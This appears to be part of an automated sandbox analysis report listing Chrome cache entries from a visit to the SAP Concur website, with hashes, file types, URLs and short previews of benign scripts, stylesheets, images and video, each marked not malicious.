SHA-512:	6E357A327420598542BFFEDF8F03F7F4C327469CDC6CC52B39C0B542DA4EF09C6739F46161C8D2796BFA05193D94B47420308CF4F2A50A2F0DF73EE9712544A4
Malicious:	false
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[50],{"7nmT":function(e,t,n){"use strict";!function checkDCE(){if("undefined"!==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&&"function"===typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE)try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(checkDCE)}catch(e){console.error(e)}}(),e.exports=n("w/UT")},"w/UT":function(n,r,a){"use strict";var i=a("ERkP"),o=a("maj8"),u=a("jiMj");function x(e){for(var t=arguments.length-1,n="https://reactjs.org/docs/error-decoder.html?invariant="+e,r=0;r<t;r++)n+="&args[]="+encodeURIComponent(arguments[r+1]);!function ba(e,t,n,r,l,a,i,o){if(!e){if(e=void 0,void 0===t)e=Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var u=[n,r,l,a,i,o],c=0;(e=Error(t.replace(/%s/g,function(){return u[c++]}))).name="Invariant Violation"}throw e.framesToPop=1,e}}(!1,"Minified React error #"+e+"; visit %s for the full message or use the non-minified dev

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	828
Entropy (8bit):	5.3213643563673685
Encrypted:	false
SSDEEP:	12:TMHdPsMi/nzVJ/KYf3nTJONEeoATM1uhZSG+P/uMPv5rSLj2CbeE4PDyLQHki5qu:2d5ATLf31eVTmSS/PD1SEEQDyEkiUYX
MD5:	CE6D5D4146D2ACCB7F566306FED071F9
SHA1:	1200C0C14C1F13819A6002655E071234C170157F
SHA-256:	67C253F0C7FCAADEBE422558EA0E5F6D637FEDC9530A5738A05F5801FBDE0719
SHA-512:	56CB103F4F6B833C646455A6F98964E7DDFC06CFF3562EA54DBB2176287E4A6380ECE5FE1784A00FE34B3B883057F9CB069706283073CA8EC95C0B5A57007123
Malicious:	false
URL:	https://www.concur.com/sites/all/modules/custom_concur/concur_drupal_footer/img/x.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 26.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 14.4 14.4" style="enable-background:new 0 0 14.4 14.4;" xml:space="preserve" fill="#999" height="1.2em" width="1.2em">.<path class="st0" d="M123-89l446.7-519.3H463.9L76-157.4l-309.8-450.9h-357.3l468.5,681.8l-468.5,544.5h105.9l409.6-476.2..l327.2,476.2h357.3L123-89L123-89z M-22,79.5l-47.5-67.9l-377.7-540.2h162.6l304.8,436l47.5,67.9L463.9,542H301.3L-22,79.5L-22,79.5..z"/>.<path d="M8.4,6.4L12.1,2h-0.9L8,5.8L5.4,2h-3l3.9,5.7l-3.9,4.6h0.9l3.4-4l2.8,4h3L8.4,6.4L8.4,6.4z M7.1,7.8L6.7,7.3L3.6,2.7h1.4..l2.6,3.7L7.9,7l3.3,4.8H9.9L7.1,7.8L7.1,7.8z"/>.</svg>

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4820), with no line terminators
Category:	dropped
Size (bytes):	4820
Entropy (8bit):	5.815544683663715
Encrypted:	false
SSDEEP:	96:1gWUfvlcY021mvn1blhad7OIJoodnbUp2dEjkRU9FA8S:1DY0hf1bT47OIqWb18FA8S
MD5:	1532C919B93570DC2229F7B2AFFB14F4
SHA1:	8E9B8260562965E73F2AD7A06458E80CC3D0EE8A
SHA-256:	8F594A2DE2786603F6190AB56FC505743EA96BC257A0DFF8B9D59522C7B9BED4
SHA-512:	378E9FCC028F31102E8B96E70F139BBD6B7318C1AE96FE3FB7E09E9B65530EBA5DBAB26A3E9DDDB65DFA28856267D2A86C337C05FDE9EA53133D9565333FB84D
Malicious:	false
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17065), with no line terminators
Category:	downloaded
Size (bytes):	17065
Entropy (8bit):	5.1089101567430735
Encrypted:	false
SSDEEP:	384:FtDuCrl6xOIVoCM6qbSjbCMTYozln0/s4MXcK/qtQCZ69CmC4yVs:FtDuCrl6x1OCM1SjbCMTYoz10/s4mcKF
MD5:	E28EBC3391B56E8F01EA063DC089E9D3
SHA1:	D0EB0EDDB70199DB3533F492E7F2E22BE890A1FA
SHA-256:	AFBD41E7209FA3AEF6F53C7A5713AA542A7BE54C432FEC2D690E0DFACCD528D1
SHA-512:	A2ED47575F06F20F3C53845F527E5CEF910A85AAB2CC8F07EFD761239C2255920A154CDF432E170207BE23841458D22BFA96C47CD4ECA590BC71A948B8F98F46
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/19.6f85b843.chunk.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[19],{"1J7a":function(t,e){t.exports=function _arrayWithHoles(t){if(Array.isArray(t))return t}},"2jbg":function(t,e,r){"use strict";function _setPrototypeOf(t,e){return(_setPrototypeOf=Object.setPrototypeOf\|\|function _setPrototypeOf(t,e){return t.__proto__=e,t})(t,e)}r.d(e,"a",function(){return _setPrototypeOf})},"4+fu":function(t,e,r){"use strict";function _assertThisInitialized(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}r.d(e,"a",function(){return _assertThisInitialized})},"5aO3":function(t,e,r){"use strict";function _arrayLikeToArray(t,e){(null==e\|\|e>t.length)&&(e=t.length);for(var r=0,n=new Array(e);r<e;r++)n[r]=t[r];return n}r.d(e,"a",function(){return _arrayLikeToArray})},"7Ru6":function(t,e){t.exports=function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [S

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3007)
Category:	downloaded
Size (bytes):	7587
Entropy (8bit):	4.954829469053422
Encrypted:	false
SSDEEP:	96:AOgzU7ljoc4B34N6gssnARlqAaD7zjyBeljdMCX+DEPE7Noh7Rmeo9Yr:+UMgnFAaaBApbu9E
MD5:	795B30FDBF5D29EBD7B4C7BEBD2AD97E
SHA1:	47AAB8A79F77C9F93A90CF0BFCAE5FD9781AA590
SHA-256:	C44FAB5AB25FF9F9DC07ACED65F77686EC6A831BB858EFAAC266BA5DEAF7D26E
SHA-512:	5D851DC39FE30AC7B432FDA5582559B2AF136D2DA8B17F628681F2B9D98B3A34CB35038E958C3430F97A371EB0290FEE5112820CF8FF4946EF833E302CCE4478
Malicious:	false
URL:	https://www.concur.com/sites/default/files/css/css_xE-rWrJf-fncB6ztZfd2huxqgxu4WO-qwma6Xer30m4.css
Preview:	#autocomplete{border:1px solid;overflow:hidden;position:absolute;z-index:100;}#autocomplete ul{list-style:none;list-style-image:none;margin:0;padding:0;}#autocomplete li{background:#fff;color:#000;cursor:default;white-space:pre;zoom:1;}html.js input.form-autocomplete{background-image:url(/misc/throbber-inactive.png);background-position:100% center;background-repeat:no-repeat;}html.js input.throbbing{background-image:url(/misc/throbber-active.gif);background-position:100% center;}html.js fieldset.collapsed{border-bottom-width:0;border-left-width:0;border-right-width:0;height:1em;}html.js fieldset.collapsed .fieldset-wrapper{display:none;}fieldset.collapsible{position:relative;}fieldset.collapsible .fieldset-legend{display:block;}.form-textarea-wrapper textarea{display:block;margin:0;width:100%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;}.resizable-textarea .grippie{background:#eee url(/misc/grippie.png) no-repeat center 2px;border:1px solid #ddd;borde

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34337)
Category:	downloaded
Size (bytes):	62924
Entropy (8bit):	5.3949498675538505
Encrypted:	false
SSDEEP:	768:tmuMyCg6kBKVBeMLh9jDQ3MnMY29T46T4EiKTF2KqgHb2sNjW6zfdaCD47KpZM1Y:ZCVkBKVth9jsf4g4uq8NTzdpdN
MD5:	D3B5033F2C5A8936CD51CF5B9CB58BF8
SHA1:	EB716B4E3719C48C8AC68A6551B4A19D9066C163
SHA-256:	CEBEBE0AF7D24ACCEF23F20D6F8995597F81BE049884C2F68F2427FBF564DA92
SHA-512:	C3453C913EB3DAA1AD3D35999415368D3E73C9AE75D77DC823FB89A5187D54DC2A2C739633AB5E2A5427AF13161F6F6C55DAFC45544C1B939D377FDC9A018FC7
Malicious:	false
URL:	https://scripts.demandbase.com/4d7mpJHG.min.js
Preview:	(()=>{let e=window.console\|\|{log(){},debug(){}},i=window.JSON\|\|{stringify(){},parse(){}},l=new class{constructor(){this.console=e,this.JSON=i}indexOf(e,i,t){if(null==e)throw TypeError("Array.indexOf called on null or undefined");return e.indexOf?e.indexOf(i,t):this._indexOfPolyfill(e,i,t)}assign(...e){if(Object.assign&&"function"==typeof Object.assign)return Object.assign.apply(null,e);if(null===e[0]\|\|void 0===e[0])throw TypeError("Cannot convert undefined or null to object");return this._assignPolyfill(e)}startsWith(e,i,t){var t=0<t?0\|t:0;return e.substring(t,t+i.length)===i}includes(e,i){if(e instanceof RegExp)throw TypeError("First argument must not be a RegExp");return-1!==this.indexOf(e,i=void 0===i?0:i)}keys(e){if(Object.keys)return Object.keys(e);if("function"==typeof e\|\|"object"==typeof e&&null!==e)return this._keysPolyfill(e);throw TypeError("Object.keys called on non-object")}_indexOfPolyfill(e,i,t){let n=e.length>>>0,a=Math.min(0\|t,n);if(a<0)a=Math.max(0,n+a);else if(a>=n)re

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
URL:	https://cm.g.doubleclick.net/pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WnY1WXZnQUFBRW1QVVFOLQ==
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	178
Entropy (8bit):	6.198781290609708
Encrypted:	false
SSDEEP:	3:yionv//thPlmvtJh0MllTMlalHUX8hXvxVM7OBoxnjaZCUnqjahAp0MO1Julmgnd:6v/lhP8cMLkalHA8hXvxVMO+xnjaZCU0
MD5:	41670772629031C3F59C360A838EF365
SHA1:	6A6A48F684F7BE3CAF5C3B2B049C153C0B75DF35
SHA-256:	C408093D290B84F3F4C6C68BA48A6D10011F21E8BB72B6978C09074864AF3265
SHA-512:	30CC998C7E44E3FF08E2FC09F6EA57E64B0989652D38070A881C284AA0668804E0C5BAB95348B4E15F874D3312B9C700FEC9F055BE027FFE68665A9D08657A96
Malicious:	false
Preview:	.PNG........IHDR.............^......orNT..w....lIDAT(.c...f._..Y..... ..Y!6e..O.+d.O.B....g.g.....X.t.B...8....`...32.'.L'Z..N....X.B..Dz...!*x..,"..KB..<...T.......IEND.B`.

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4821), with no line terminators
Category:	downloaded
Size (bytes):	4821
Entropy (8bit):	5.816803166094829
Encrypted:	false
SSDEEP:	96:1gWUfvlcY021mvn1blhad7OIJoodnbUp2dEjkRU9FA8ik:1DY0hf1bT47OIqWb18FA8ik
MD5:	68D88F1E3584281B231D3C5A5B7DA7AF
SHA1:	D6204F76D4A8198E016024815D31976D46B0AA99
SHA-256:	05ECB2993E753F6FB56D0B209BC5446EE7204AC74F0F032935E34027029FC8DE
SHA-512:	DB8894849541924F41892C05A5AEB2F62AB649766F1866B98B26B637D905374B5522D40782B450EEF1AF9714DA88B4B7C05BCDF9C09148BD0BE6CFD3E926520E
Malicious:	false
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/1044530512/?random=1727944905159&cv=11&fst=1727944905159&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (36995), with no line terminators
Category:	downloaded
Size (bytes):	36995
Entropy (8bit):	5.200154539819763
Encrypted:	false
SSDEEP:	384:h90Wjj74oB5Tf1JcNvDIweEzpg3pmAX7XODXWcWLfN5HS8IWpMvyfA+g/v:h90yj74A4pDNpM7XGWRfN51IOfA+2v
MD5:	7B7E39FCA61E2FC0B605DB6B496695F1
SHA1:	97C264DC630C80461F73675041D50ECD9760D0C5
SHA-256:	23AAEB229C57F3DA16FF1786D890F81DD548CCEC78081B918C3B7AAA70827BA2
SHA-512:	FD74C8B2A82CC3A9E76BB7279D3D639315EF4C638CCCE9C8D1EDFD674266D123D44037551630E498579BCA3A1F0848954146CA7D80B41DAFF6B1EDD26D17842B
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/37.b6614199.chunk.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{"+nxv":function(e,t,n){"use strict";n.d(t,"a",function(){return initAndBind});var r=n("zgdO"),i=n("usiZ");function initAndBind(e,t){!0===t.debug&&("undefined"===typeof __SENTRY_DEBUG__\|\|__SENTRY_DEBUG__?r.c.enable():console.warn("[Sentry] Cannot initialize SDK with `debug` option using a non-debug bundle."));var n=Object(i.a)(),s=n.getScope();s&&s.update(t.initialScope);var a=new e(t);n.bindClient(a)}},"5g57":function(e,t,n){"use strict";n.d(t,"a",function(){return v}),n.d(t,"b",function(){return addGlobalEventProcessor});var r=n("WwEg"),i=n("jm9a"),s=n("nfbA"),a=n("uIJS"),o=n("wQh9"),c=n("26VM"),u=n("xqFT"),_=n("bTzN"),d=n("zgdO"),l=n("Iwrg"),p=n("2nP+"),f=n("Te+l"),v=function(){function Scope(){Object(a.a)(this,Scope),this._notifyingListeners=!1,this._scopeListeners=[],this._eventProcessors=[],this._breadcrumbs=[],this._attachments=[],this._user={},this._tags={},this._extra={},this._contexts={},this._sdkProcessingMetadata={}}r

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 508 x 343, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	127939
Entropy (8bit):	7.995542618307313
Encrypted:	true
SSDEEP:	3072:bEB39/XqThYtZX7qft7JZW4o22o1WgqTyWzOVjzMTgwC:bEn/XqTWXr+PW4ovo1y2WzyzMTgB
MD5:	34DE33DAA1DEF122EA1484D0DD579C77
SHA1:	A4DFE5E67C655D59A8D1F891BF52D814CF43B369
SHA-256:	2E3C36F1F141ECE5F52399907B63F4C0EBD95E018A6CEEEBCB0D212267DFE668
SHA-512:	3C69B0ED0F38B10B561530AB806188E9FCE5B9D006765BB02B9E76D656860E63DE1066BEE7149DB15D36F263DA60DAB990149D00B12AF3DB26249109C0611A70
Malicious:	false
Preview:	.PNG........IHDR.......W.....G..>....orNT..w.....sRGB.........IDATx...i.e.u..}.s.7O.r.++k..(.@.@. .. ...(.j...Z......m....CtKj;...n..mK.j....!p... ...DL..P...r~...^.......e....\|Ux..z..{.=..........?.....@......`..s...\|.o...`....D$...X..=.z..b.....w......W0@.HE..)}....]`..'.n...E..".33.e?..!.F..?..I'@.. Ws.xe....LTQ.R.........H..#m(..7......._.W7.'{e.T.Z}6.G...0.. k6\S.."....}."....^..fm..R.b..X..r.&.`4jI .GAE6b.~2If..1....i...S.)r.O<y.t......uU.u.C..{....k&.QyH;S.....H...>...{.]QD9V...eZ.#.a.6..qM...D..d..M.e....D..bl:.x.\2....Z.....&u..J'......nd...].^.v.....\!..i.l...l.)..T..t....N.....T.....F.O.F.Y...L!...Kf....+.7g.l..D...i...=2I..3.z.T.[.~qO'7^,C..a.A..u...MDiw.5...b.s.U...X^.Z...^.9...w2.>......TP.....JZD.......J...'.eQ..Tc'....[w....E.).0K.Y?&..vs\|....f...Xj.e.t.Rms.iJmcH.V%a.X6....O.'W$y.c.."2..ri..NK.p.o..#.........9...td.3..#.....:..\|.4....A...4F..b&.a!'ij.F..dmg..27S?...3.)...E..Ej@b...U.........D.d.JM.x.A4M..9.z.I...K.$v.U............D......+S/

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 370, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12852
Entropy (8bit):	7.839525123501877
Encrypted:	false
SSDEEP:	192:pggggggggggGjKB+OhaShzs8l0AvHviML+ZzUeNMNJLYK76ppzhUi9EO7YhhCaSY:2M1ams8HvaM6d78dYK7EFOlhhMN36qs
MD5:	C0EA4B75872CEC4D4D03F2DF9E9A6E3A
SHA1:	AF296B54C41F197B1501DF0C9B6C74E6A43DC2D6
SHA-256:	9999B9500F08BF78B64DB44BC4D129842DA7066AEEC1150AFD5D38904276FA52
SHA-512:	695FC84CBE21F17A4585357EF9FA117C0ED2312BA8078D2932765F336BDA00018CBEB6628AE615CFDE03A80B55D6BA04C94D7519E3DA038C8210B98227531F5A
Malicious:	false
Preview:	.PNG........IHDR...X...r.....).......orNT..w...1.IDATx...y.~...W...X.P.J.O...s..2DJi<.c.!N.+.<.4....!Q.t2...XW....R*M...k}.o_{..u...~=......k}......u].k..K."I..tV.].$I.Bc..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..3`I.$%f..$IJ.%I....K.$)1..$IRb.,I....X.$I...$I..[..7WZi...I.:.+...[...k._._....b...J.$-].t.....,I@.....g.O.....~.\|.8..v......$.........8..f.jT.....]....%I)..$.........wHx.W..:5.=J..X..V.r+.d...eN.......W.Fe..4.:...G.v.j>.xj.....%i..2.m.$.P...qL'\....u(....%)5G.$Q.ro........H..Y

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1117)
Category:	dropped
Size (bytes):	3458
Entropy (8bit):	5.374013489538089
Encrypted:	false
SSDEEP:	96:WbgR1QEnN5ejImVB/b1ylcf8SWJwKfcuec29rRFD0QJUGlIQjpu9r:2gFnNojImVVM+WmKUWarz03GlIQjEN
MD5:	990086221B416E7CF0E7B33A433DAEC2
SHA1:	0487F6E74C187A757218732CD18DE285B90DEBAB
SHA-256:	F95A60DC0E8E87DDCDB52A11C0A74048A55D7083EA288B252DFBA85BF3E74914
SHA-512:	E73C7168AA6A8BFFA8632AD32E3E8FAF760A6781869F6212C3804E6B5D57CAD7EF0089FC3350B2C666B0E2477AED01E13A992DCE9457FE917C79D9F233E33059
Malicious:	false
Preview:	//tealium universal tag - utag.1287 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..var uetq=uetq\|\|[];try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}els

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1079
Entropy (8bit):	5.368729876158522
Encrypted:	false
SSDEEP:	24:8g8+TXl592oQECGNNpRyKMX3NbMm1pJnnbD4pAsVViHD:8z+TU+xbR0XOQ3e54HD
MD5:	2C5A5EE0A22D0D4EAE695BFADEA81A2B
SHA1:	1BC0576F2ED1496F5504820FC1BA9604500FE6F7
SHA-256:	921AE995E5BDA772194ABA87BDEB83DB6CD0BAF6DA928017DC5C1DC41C11E64F
SHA-512:	F6A8D7CEC381E98A2941726C2D17AE714116936DCAD916EFC0A2D1641699535C20BAFEA5E0725F22060E9D8EE40370ADCB8B6A531D7A84151E3C37A56BB0A181
Malicious:	false
URL:	https://www.concur.com/sites/all/modules/custom_concur/concur_tracking/src/js/global_scripts/demandbase_loader.js?sjjy0c
Preview:	; (function () {... function getCookie(c_name) {... var i, x, y, ARRcookies = document.cookie.split(";");... for (i = 0; i < ARRcookies.length; i++) {.... x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));.... y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);.... x = x.replace(/^\s+\|\s+$/g, "");.... if (x === c_name) {..... return unescape(y);.... }... }.. }... var ccm_check = getCookie('notice_preferences');... // We HAVE to use XMLHttpRequest + eval() to force a dynamically loaded script to load synchronously.. function addscripts() {... var scripts = [.... '/sites/all/modules/custom_concur/concur_tracking/src/js/global_scripts/utag-db.js',.... '//api.company-target.com/api/v3/ip.json?key=cMPgQMqMk2GCukvfKSjDvyaAi6hysDbVs1EB5Qee&callback=Dmdbase_CDC.callback'... ].... for (var i = 0, len = scripts.length; i < len; i++) {....var xhrObj = new XMLHttpRequest();....xhrObj.open('GET', scripts[i], false);....xhrObj.send(null);....eval(xhrObj.responseText);... }.. }...if (type

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, MP4 v2 [ISO 14496-14]
Category:	downloaded
Size (bytes):	404829
Entropy (8bit):	7.993155429125644
Encrypted:	true
SSDEEP:	12288:AxsL/9UtVUBpy/eOZBkMBgAc9tqS7EhD2:ZJPBCeOHSxx
MD5:	CA2B13E906D8D32D5B38764C9A91E771
SHA1:	026F7C6EC8F311CC28F516857B6528C173C1F80A
SHA-256:	EF196C10113F363A93D878B7BC0C9CA2C58F435CBAD65571CC1D2CF5937FF3FC
SHA-512:	7E1001A1F291015B9A85291BA2AB67DF6574EBF8D041F8B7BCD9D1A327DE745C39F2D33821D5FC3AA0C0C75CAA14F78E6BAF5BE96D7954CF8D68D373C7AF4C6E
Malicious:	false
URL:	https://assets.concur.com/guided-demo/mobile/invoice_06-2019/vid/Concur_Typing-sm.mp4:2f8224ce0487a0:0
Preview:	... ftypmp42....isomiso2avc1mp41....moov...lmvhd......{..{........................................................@...................................trak...\tkhd......{..{...........x................................................@....T...8.....$edts....elst...........x... .......\|mdia... mdhd......{..{.._...p0U......-hdlr........vide............VideoHandler....'minf....vmhd...............$dinf....dref............url ........stbl....stsd............avc1.........................T.8.H...H...............................................5avcC.M@(....gM@(.;................. ..1....h..2.....pasp........... stts...........c................stss...............psdtp.... ......................................................................................................(ctts.......c....... ......FP....... ......................FP....... ......................FP....... ......................FP....... ......................FP....... ......................FP....... ......................FP

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	90670
Entropy (8bit):	5.567231724512853
Encrypted:	false
SSDEEP:	1536:JbHaL6wquJDjO+XRDZw43hR64tahUjtt9gwL:JwlTN1tshUjtbN
MD5:	CB5871A7824B2F5CD486695C5E9EDA5B
SHA1:	4E5202E3EA653DDF090A94432813A3A0AEF90463
SHA-256:	9DDA1AFFC5905AFD217CCDE3C3D39DEEBC46C69601542BB7AD0F30C3F77C7E13
SHA-512:	CC1315A541DB8C632676040AA7C5D702FE5F4CBAD467F5028B1C870D299EB18AC4C72F8CDE5C0C287F8DC050024BA3D1E2166F626187EEA35ECA3BDF9ABF5B9D
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/8.33c73c46.chunk.js
